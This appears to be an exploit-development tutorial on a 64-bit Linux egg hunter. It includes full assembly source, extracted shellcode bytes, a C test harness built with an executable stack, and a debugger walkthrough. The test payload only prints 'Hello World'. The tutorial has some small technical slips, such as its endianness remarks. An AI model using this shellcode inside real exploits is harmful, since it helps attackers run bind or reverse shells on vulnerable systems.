What is an Egg Hunter?
Essentially an egg hunter is used assuming that you found a overflow vulnerability with a very small space that you, the attacker controls that is less that that of a bind/reverse shell. So in order to utilize the space we can develop some shellcode to use the access syscall to read a virtual memory address and find our “egg”. An “egg” is usually 4 to 8 bytes that is unique and is placed at the beginning of the payload and we load both the egg and payload into a random area of memory. The egg hunter will look for our unique egg bytes and execute the payload after it.
There is a great whitepaper by Skape that really helps break things down to understand how an egghunter truly works at is core. It can be found at the link below.
http://hick.org/code/skape/papers/egghunt-shellcode.pdf
Egg Hunter Breakdown
As stated in the article by Skape we will be using the access
syscall in order to make our egg hunter work.
I managed to come together with some command-line-fu to get the system call value we are looking for, which in this case is the access syscall.
1
printf SYS_access | gcc -include sys/syscall.h -E - | tail -1
In order how to understand how to use the access syscall we can look at the manpage
1
man access
The manpage clearly shows how to use access and what arguments we need to pass.
int access(const char *pathname, int mode);
So first we need to clear the registers that we will be using.
1
2
3
xor edi, edi ; rdi -> 0x0 Starts the search at 0x0
mul edi ; rax|rdx -> 0x0 clears the rax register for access syscall
xchg eax, esi ; rsi -> 0x0 The mode
Next we want to check each page of memory so we need to find our linux page size. You can use the following command below to find the page size of your system.
1
getconf PAGESIZE
In my instance the page size is 4096 bytes and in hex this is 0x1000. So we can increment the rdx register then shift the bits to get 4096
1
2
inc edx
shl edx, 12 ; rdx -> 0x1000
Now that we know the register states we can increment by the page size and check if we have access to the location.
1
2
3
4
5
6
7
8
9
10
11
increment_page:
lea rdi, [rdi + rdx] ; inc pointer by 4096
increment_address:
push 21
pop rax ; access syscall # loaded into rax
syscall ; call access($rdi, $rsi) where rsi is 0x0 and rdi is a memory address
cmp al, 0xf2 ; if al contains 0xf2, EFAULT was returned (bad addr)
je increment_page ; continue the hunt!
If we do have access to the path then we ensure that the egg doesnt find itself. Then we compare the first four bytes to compare it to our egg which in this case is “beef”. In this case we are using Big Endian. So we compare the first 4 bytes or qword then once that is done we can compare the next 4 bytes and if both of those match then se jump to the beginning of our payload right after our two eggs.
1
2
3
4
5
6
7
8
9
add dil, 0x18 ; This offsets the register so the egg doesnt find itself
compare:
mov rax, 0x62656566 ; store the egg for comparison, actual egg is beef ----> feeb
scasd ; compare first dword
jne compare
scasd ; compare second dword
jne compare
jump_to_shell:
jmp rdi ; found it
We can compile the source code below by running the following command then get the shellcode:
1
2
nasm -f elf64 egg-hunter.nasm -o egg-hunter.o
for i in $(objdump -D egg-hunter.o | grep "^ " | cut -f2); do echo -n '\x'$i; done; echo
Source Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
global _start
section .text
_start:
; syscall argument order
; %rdi %rsi %rdx %r10 %r8 %r9
; int access(const char *pathname, int mode);
; Clear the registers for access syscall
xor edi, edi ; rdi -> 0x0 Starts the search at 0x0
mul edi ; rax|rdx -> 0x0 clears the rax register for access syscall
xchg eax, esi ; rsi -> 0x0 The mode
inc edx
; To find the page size of your linux system use this command: getconf PAGESIZE = 4096
; Shifts the bits by 2^12 ---> Example: 1 shifts to 0x1000 and in hex is 4096
shl edx, 12 ; rdx -> 0x1000
; known register state before the hunt begins
; rsi -> 0x0
; rdi -> 0x0
; rdx -> 0x1000 -> 4096 -> PAGE_SIZE
increment_page:
lea rdi, [rdi + rdx] ; inc pointer by 4096
; int access(const char *pathname, int mode);
; rax -> 21
; rdi -> pointer to memory
; rsi -> mode (0x0)
increment_address:
push 21
pop rax ; access syscall # loaded into rax
syscall ; call access($rdi, $rsi) where rsi is 0x0 and rdi is a memory address
cmp al, 0xf2 ; if al contains 0xf2, EFAULT was returned (bad addr)
je increment_page ; continue the hunt!
add dil, 0x18 ; This offsets the register so the egg doesnt find itself
compare:
mov rax, 0x62656566 ; store the egg for comparison, actual egg is beef ----> feeb
scasd ; compare first dword
jne compare
scasd ; compare second dword
jne compare
jump_to_shell:
jmp rdi ; found it
After the shellcode is extracted we can see that the egg hunter length is 40 bytes. In order to test this we can use gdb to speed up the process. So I created a shellcode skeleton that places the shellcode payload into a random area of memory. Then we can execute the egghunter shellcode to find out eggs and payload.
The payload in this case is a simple shellcode that prints “Hello World” to the screen.
Testing the Egg Hunter
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
// gcc -g -fno-stack-protector -z execstack shellcode.c -o shellcode
#define EGG "\x66\x65\x65\x62" // 0x62 65 65 66 62 65 65 66
unsigned char egg[] = EGG;
unsigned char egghunter[] = \
"\x31\xff\xf7\xe7\x96\xff\xc2\xc1\xe2\x0c\x48\x8d\x3c\x17\x6a\x15\x58\x0f\x05\x3c\xf2\x74\xf3\x40\x80\xc7\x18\xb8\x66\x65\x65\x62\xaf\x75\xf8\xaf\x75\xf5\xff\xe7";
unsigned char code[] = \
EGG
EGG
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x48\x31\xc0\x48\x83\xc0\x01\x48\x89\xc7\x68\x72\x6c\x64\x0a\x48\xbb\x48\x65\x6c\x6c\x6f\x20\x57\x6f\x53\x48\x89\xe6\x48\x31\xd2\x48\x83\xc2\x0c\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05";
int main() {
char *heap = (char*)malloc(1000000);
memset(heap, '\0', 512);
strcpy(heap, egg);
strcpy(heap+4, egg);
strcpy(heap+8, code);
printf("Shellcode length: %zu\n", strlen(code));
printf("Egghunter length: %zu\n", strlen(egghunter));
printf("Shellcode location: %p\n", heap);
int (*ret)() = (int(*)())egghunter;
ret();
}
We can compile the skeleton program when the following command to ensure that we can execute our shellcode.
1
gcc -g -fno-stack-protector -z execstack shellcode-skeleton.c -o shellcode-skeleton
After you successfully compile the shellcode skeleton we can begin to use Radare2 to show that the egg and payload execute.
1
r2 -Ad shellcode-skeleton
Next we want to continue until we reach the execution of the egghunter. We can now see that out two eggs and payload start at 0x7fc964e96010
. So in order to verify that our egg is found by the egg hunter we are gonna go back just before page with our shellcode which is at 0x7fc964e95000
We can view the current instruction we are at using Vpp
. We also need to set a break point where our egg is stored into the rax register at this step 0x557c5649a09b
Then hit s
to step to the next instruction. We want to stop right before the access syscall is called to speed up the search process of our egg and payload.
To exit the visual mode we can use q
. So now we can set a break point at 0x557c5649a09b
and change the rdi register value to 0x7fc964e95000
to emulate as if we’ve reach the memory page right before our egg in memory.
Now that we have set a break point and change the rdi register we can go back to visual mode Vpp
and step through a few times until we reach out eggs in memory at the address 0x7fc964e96010
and once the eggs are verified we should jump to our payload.
I used a NOP slide to ensure my payload will be executed properly. Now if we quit q
out of visual mode and use dc
we can continue the program and we should see “Hello World” in this case print to the screen.
So now that we know that our egghunter works we can use other payloads such as a bind shell or reverse shell in place of the simple “Hello World” shellcode.